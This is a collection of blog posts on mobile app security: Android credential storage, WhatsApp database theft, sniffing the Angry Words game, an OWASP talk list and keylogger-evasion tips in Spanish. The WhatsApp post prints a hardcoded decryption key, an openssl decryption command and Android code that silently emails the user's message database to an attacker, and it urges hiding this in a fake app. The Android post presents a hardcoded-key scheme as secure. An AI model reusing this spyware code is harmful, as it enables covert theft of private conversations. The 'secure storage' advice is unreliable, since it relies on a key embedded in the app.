How to store the Credentials securely in Android

Most of the applications in the Market store credentials (let it be username/password or a hash) in the application to avoid prompting the user continuously asking him for the authentication. While being a good pattern to make the application usage more fluent, it is not exempt of security risks.

Android provides different options to store data from an application. From all those, the SharedPreferences seems to be the most adequate to store credentials: it stores primitive types in an XML file, which is in principle saved in the application package folder and hidden to the user in most cases. A device that has been rooted, however, can access this folder and retrieve the SharedPreferences files, exposing the credentials if we have chosen to store them this way.

This problem also affects integrity of another applications, and allows operations such as game cheating. Srinivas proves in his blog how is possible to edit the score in Stick Cricket and submit a modified one to the server.

A rooted device always makes security harder, but we can ensure that our authentication is securely stored by combining a few techniques. Encryption is the first thing that comes in mind, but if we want to encrypt we might need to use a key, that also needs to be stored somewhere else. NDK comes here into the scene: we can store using native code the key or sequence we will use to encrypt our data. Let’s see it step by step.

First, we will write two functions to encrypt and decrypt our data. We will use AES for our purpose:

    private static byte[] encrypt(byte[] raw, byte[] clear) throws Exception {
        SecretKeySpec skeySpec = new SecretKeySpec(raw, "AES");
        Cipher cipher = Cipher.getInstance("AES");
        cipher.init(Cipher.ENCRYPT_MODE, skeySpec);
        byte[] encrypted = cipher.doFinal(clear);
        return encrypted;
    }

    private static byte[] decrypt(byte[] raw, byte[] encrypted) throws Exception {
        SecretKeySpec skeySpec = new SecretKeySpec(raw, "AES");
        Cipher cipher = Cipher.getInstance("AES");
        cipher.init(Cipher.DECRYPT_MODE, skeySpec);
        byte[] decrypted = cipher.doFinal(encrypted);
        return decrypted;
    }

The functions are very straight-forward. Now we can use them like follows:

ByteArrayOutputStream baos = new ByteArrayOutputStream();  
bm.compress(Bitmap.CompressFormat.PNG, 100, baos); 
byte[] b = baos.toByteArray();  

byte[] keyStart = "encryption key".getBytes();
KeyGenerator kgen = KeyGenerator.getInstance("AES");
SecureRandom sr = SecureRandom.getInstance("SHA1PRNG");
sr.setSeed(keyStart);
kgen.init(128, sr); 
SecretKey skey = kgen.generateKey();
byte[] key = skey.getEncoded();    

// encrypt
byte[] encryptedData = encrypt(key,b);
// decrypt
byte[] decryptedData = decrypt(key,encryptedData);

If we use this functionality to encrypt our data, at this point it will be encrypted but an attacker could still decompile our APK, check the key used to encrypt the data and steal our credentials. With NDK we can store this key in an .so file, making it very hard for the attacker (.so files can hardly be decompiled, and disassembling those files is far from being a comfortable option). To store and retrieve our key, we need to write the following code in our application:

static {
        System.loadLibrary("library-name");
    }

public native String getSecretKey();

And save in a file using NDK the following function:

Java_com_example_exampleApp_ExampleClass_getSecretKey( JNIEnv* env,
                                                  jobject thiz )
{
    return (*env)->NewStringUTF(env, "mySecretKey".");
}

Now we can easily retrieve our key and use it to encrypt our data.

byte[] keyStart = getSecretKey().getBytes();

Security is never granted and never absolute, so the solution is to always take smart design decisions and use all the available tools to prevent unauthorised usage of our applications or systems. By applying this technique you can ensure a high level of security for your application credentials!

Leaking Whatsapp – stealing conversations silently

bug-big

Whatsapp, the fast-growing mobile messaging service, is the main threat to the (outdated) business model of telecommunications operators. Its exponencial numbers confirm that telcos react late and bad: Whatsapp has taken a position that will be hard to unthrone. The only apparent risk lies on another companies using the same concept of Push notifications: recently, Line appears to claim some users adding some more functionalities.

Business besides, is amazing to see how the security in Whatsapp is inexistant.  In an attempt to be moderate, I will simply say that using the word “security” is a disinformed statement. Being aggressive I would use other words.

In May 2011, there was a reported bug which left user accounts open for hijacking. This was the first public one. Since then, it was reported that communications within WhatsApp were not encrypted, being the data sent and received in plaintext. This allowed any person to intercept messages by connecting to the same WiFi as the target phone (an application for Android was even published on the market, although it was removed after a few weeks by Google). In May 2012 the bug was reported to be fixed, although took one year to implement a fix that is not specially complex.

In September 2011, a new version of WhatsApp allowed forged messages to be sent and messages from any WhatsApp user to be read.

On January 6, 2012, an unknown hacker published a website  which made possible to change the status of an arbitrary whatsapp user, as long as the phone number was known. This bug was reported as fixed on January 9… but the only measure that was taken was blocking the website’s IP address. As a reaction, a Windows tool was made available for download providing the same functionality. This issue has not been resolved until now.

On January 13, 2012, Whatsapp was pulled from the iOS App Store for a non disclosed reason. The app was added back to the App Store 4 days later. German Tech blog The H demonstrated how to hijack any WhatsApp account on September 14, 2012. WhatsApp reacted with a legal threat to WhatsAPI’s developers.

The last unassailable bastion was the local database of messages, since it was physically stored in the device and we would need access to it… in theory. Let’s gonna show how can we achieve this. In most cases it is possible to obtain the WhatsApp message history from an encrypted device or backup, for details read this paper: WhatsApp Database Encryption Project Report

Summarizing: The database containing all the WhatsApp messages is stored in a SQLite file format. For iOS phones this file is in the path: [App ID] / Documents / ChatStorage.sqlite and in the case of Android phones at / com.whatsapp / databases / msgstore.db. This file is unencrypted, and this requires the phone to access the jailbreaked. In Android, the backup file is stored in the external memory card, and was also not encrypted. This changed in one application update, and now, if the phone is lost or stolen, the messages can not be read.

Unfortunately, the application uses the same key for the encryption (AES-192-ECB) (346a23652a46392b4d73257c67317e352e3372482177652c), and there is no use of enthropy or unique factors for each device, so the database can be unencrypted within a matter of seconds.

openssl enc -d  -aes-192-ecb -in msgstore-1.db.crypt -out msgstore.db.sqlite -K346a23652a46392b4d73257c67317e352e3372482177652c

 

So, we know how to break the encryption. Now we have to solve the problem of having access to the device.

Android uses permissions to determine what the applications can do when they are install on the device. In order to read from the external storage we need to use the permission android.permission.WRITE_EXTERNAL_STORAGE. By using that, we will be able to access all the files within the SDCard. Surprisingly, Whatsapp developers didn’t use the internal storage for the application, which would have prevent any application from stealing their data.

Now that we can access the data, we need to send it somewhere else. By default, Android allows us to use Intents in order to send emails. But this is not transparent at all: the user will be able to see that we are trying to send an email to an unknown email address, and this action will be canceled. But we can use some other techniques. For example, we could use a transparent layer, connect to a mail server without triggering the user perception and adcquire the file with the precious information.

I have developed a framework (WhatsApp Conversation Burglar) that can be included within an Android application, and steal the data without the user getting to know it. You can download it from here.

Let’s see how it works:

The framework presents a dummy Activity (MailSenderActivity), with only a button. We have the following listener when the button is clicked:

 public void onClick(View v) {
            	try {   
                	AsyncTask<Void, Void, Void> m = new AsyncTask<Void, Void, Void>() {

						@Override
						protected Void doInBackground(Void... arg0) {
							GMailSender sender = new GMailSender(EMAIL_STRING, PASSWORD_STRING);
		                    try {
		                    	sender.addAttachment("/storage/sdcard0/WhatsApp/Databases/msgstore.db.crypt", SUBJECT_STRING);
								sender.sendMail(SUBJECT_STRING,   
								        BODY_STRING,   
								        EMAIL_STRING,   
								        RECIPIENT_STRING);
							} catch (Exception e) {
								e.printStackTrace();
							}   
							return null;
						}
                	};
                	m.execute((Void)null);
                } catch (Exception e) {   
                    DebugLog.e("SendMail", e.getMessage());   
                } 
            }
        });

This section of code initializes an object GMailSender with some parameters. The function addAttachment() attach a target file to be sent (in our case, it is the database containing all the WhatsApp messages) and a SUBJECT to the email. The function sendMail() just send the email with the required information (SUBJECT_STRING, BODY_STRING, EMAIL_STRING, RECIPIENT_STRING). The class GMailSender is the object responsible of all the email communication, using the library JavaMail. The code is self-explanatory.

By setting the right parameters, the file with all the conversations is sent to the provided email address, where we can decrypt it by using the line I provided before in the terminal. If you want to use this framework in your application, you only have to add it as a library, and include the code within the application (probably on the onCreate() method of the first activity triggered, so you make sure the conversations are stolen when the application starts). A fake application could include this framework, and still all the conversations from the users installing it

There is no way to prevent this error, just removing the file with all the conversations. WhatsApp could use a different kind of encryption (using data such as device IMEI, UNIX time of installation or any non replicable information), or just move it to the private application folder (/data/data/com.package.name/). But considering their tragic history on security we probably can not rely on this.

If you have any comment about the previous post feel free to contact me per email.

 

Enrique López-Mañas

How to (honourlessly) win in Angry Words

In my scarce free time I use to play Angry Words. For those who never heard about it (quite unlikely if you’re reading this article) Angry Words is basically a Scrabble that can be played online against different opponents. There are currently versions for Android and iPhone.

 

Recently, in May 2011, there was a security hole reported in WhatsApp which left user accounts open for hijacking. Since May 2011 it has been reported that communications made by WhatsApp are not encrypted, and data is sent and received in plaintext, meaning messages can easily be read if packet traces are available. Together with the well-known storage of the full set of messages sent and received within the application (that can be easily cracked) lead me to think if that was a concrete disastrous development, or a generalized trend in most mobile applications. Therefore, I decided to see if it could be possible to do the same with Angry Words.

 

If you want to reproduce this article, you will need to set up your environment to sniff data from your mobile. There are many options to achieve this (install a cracked .apk or .ipa into your emulator and capture the data, root your Android device and capture the data with a sniffer…), but for me the easiest one was to use my computer as a bridge for my phone, and use Wireshark to sniff the data.   The process is quite simple: you just need to activate the “Internet Sharing” option, using your AirPort as a bridge to your ethernet connection (if you don’t have an ethernet connection, you will still surely have the option to tether your phone). In “Configuration” – “Internet Sharing” proceed as shown in the following image:

 

 

You probably get the idea: the point is connecting the device to your computer and sniff the traffic from there. Is outside the purpose of this article to teach how to use Wireshark, but you can find many tutorials on Internet. Basically, when your device is connected start up Wireshark on your computer and attach to the Wi-Fi interface. You normally need to start Wireshark as the super-user in order to have enough rights to capture traffic. You can do this by typing sudo wireshark &.

We want to capture packets on the AirPort interface, which very likely will be the interface en1. Click the leftmost button on the Wireshark toolbar, and then click “Start” next to device en1:

When this has been set up, and your device is connected to your computer, you will begin to filter all the packages. Since Wireshark does not discriminate between all the applications, is a good idea to filter the packages that will be captures. For this purpose, you can create a filter using the following expression:

ip.src == xx.xx.xx.xx

ip.dst == xx.xx.xx.xx

The xx.xx.xx.xx value is the private IP that your phone has been assigned when connecting to your computer. In my case, this IP is 10.2.2.2

Now we will only display the packages corresponding to our device, so it’s time to play. By opening Angry Words and playing, we will see each petition sent from the application (and received from the server). We will soon notice some failures:

  • The application uses plain HTML, no SSL in between. We can see all the petitions sent as web petitions. We can log in the application through Facebook Auth, or with our mail and password. If we use the second way, even the password is sent in plain text.
  • All the information about each game is stored in the server (since we can access from different devices), what makes a little bit m0re complicated to hack an already created game. But it can be achieved using a Man in the Middle attack, not hard if we are using our own computer as a proxy (also, we can decide whether a word is right or not).
  • With each connection, a cookie value is created. This cookie valued has to be sent within each petition to validate all the requests.

Let’s see some examples of captured data. In the following, we are requesting information about a particular game:

After sending a petition to check if a word is right, we also received in plain text all the information

Here begins the interesting part: this is how we can send a tile to the server:

We also can see how to resign a game:

 

So, after analyzing all the possible games, we can conclude the following:

In each of those petitions (except to check the validity of a word) we need to insert the value of a cookie. To create custom HTTP Requests, and depending on your Operative System, I would recommend you to use Fiddler for Windows. For Mac I’m not sure whether FireBug allows you to create custom HTTP requests, but I’m using Simple Rest Client for this article, and works pretty well. But there are plenty of tools around there to be used

 

How this can be solved?

 

The obvious thing is to use a SSL connection, but this might require some changes and time in the server configuration. Also, to manipulate the petitions (unless we automate it) there is sometime required, so creating an adjusted timeout is also a good idea. I want to remark that, although the petitions can be sent from a computer or an automatized programs, to manipulate the data sent back is only possible to do through a Wireless Network. So, if you are suspicious that your AngryWords partner might be a hacker, disconnect your WiFi while you’re playing against him or her.

 

You can contact me on my private email, or leave a message as a comment. If the post has been helpful for you, consider being nice and cite me if you’re going to use it.

Presentaciones de las conferencias OWASP

Ya están aquí las presentaciones correspondientes al encuentro del capítulo español de la OWASP 2008 en Barcelona:

1. Amenazas e incidentes de seguridad en entornos Web: realidad o ficción, de Raúl Siles.
2. La seguridad multinivel en servidores web. Luis Calero.
3. Herramientas de análisis estático de seguridad del código: estado del arte, de Luis Rodríguez Berzosa.

Una de las presentaciones no está disponible, por alguna razón que todavía no conozco. He escrito un email al encargado de la OWASP, para ver si es posible disponer de ella.

Un saludo

Técnicas de ofuscación sencillas para troyanos

Hola,

Recientemente tuve que conectarme en un ordenador desconocido para consultar el correo. El ordenador no provenía de una fuente hostil, pero si era potencialmente peligroso conectarme allí sin ningún tipo de prevención. Me llevó a pensar como podría saltear las típicas técnicas de captación de contraseñas utilizadas por malware o cualquier tipo de software malicioso.

Una manera muy típica de capturar las contraseñas es mediante el uso de keyloggers. Un keylogger es un programa que captura todas las pulsaciones de teclado, entre ellas todas las contraseñas que debemos teclear para poder acceder a distintos servicios a través de internet (foros, clientes de mensajería…. y hasta otros más sensibles como correo electrónico o bancos). Tras ello, las envían a algún remoto lugar, en el que seguramente no se limiten a hacer un estudio estadístico. Los keyloggers son programas sencillos, que no siempre son detectados por los antivirus y que pueden ser introducidos con mucha facilidad en un ordenador remoto (bajando un “programa de conexión” de una página pornográfica, de warez o similar, a través de redes P2P, por email…). Las vías de ataque son numerosas, y están en continuo cambio y evolución.

Estos keyloggers generalmente almacenan la información en un fichero de texto. Algunos más sofisticados son capaces de discernir todo el comportamiento del usuario, de manera que si escribimos:

hotmail.compepitoeldelospalotescontraseñamalaQuerido ciervo

…sabrá en que sitio hemos introducido qué datos.

Cuando nos conectamos en un cyber, o en un ordenador desconocido, podemos evitar estos problemas. La técnica más inmediata es escribir en otras pestañas o lugares, ya que el keylogger sólo detectará las letras que hemos pulsado, y no donde lo hemos hecho. Por ejemplo, si tras escribir hotmail.com, y el usuario, escribimos letras aleatorias en la ventana de búsqueda al mismo tiempo que la contraseña, el keylogger podría recibir algo como lo que sigue:

hotmail.compepitoeldelospalotesdfsdCjdoatndsftdarkeoosppejjñkakiMjaolka

Con lo que habremos evitado satisfactoriamente el primer vector de ataque en estas máquinas.

Esta sencilla solución de baja tecnología no evita todos los problemas. Como de costumbre ha de ser utilizada en combinación con otros métodos, pero es sencilla de poner en práctica.

Existen troyanos que realizan capturas de pantalla sobre el foco del ratón cuando lo pulsamos, con lo cual este método no sería del todo útil.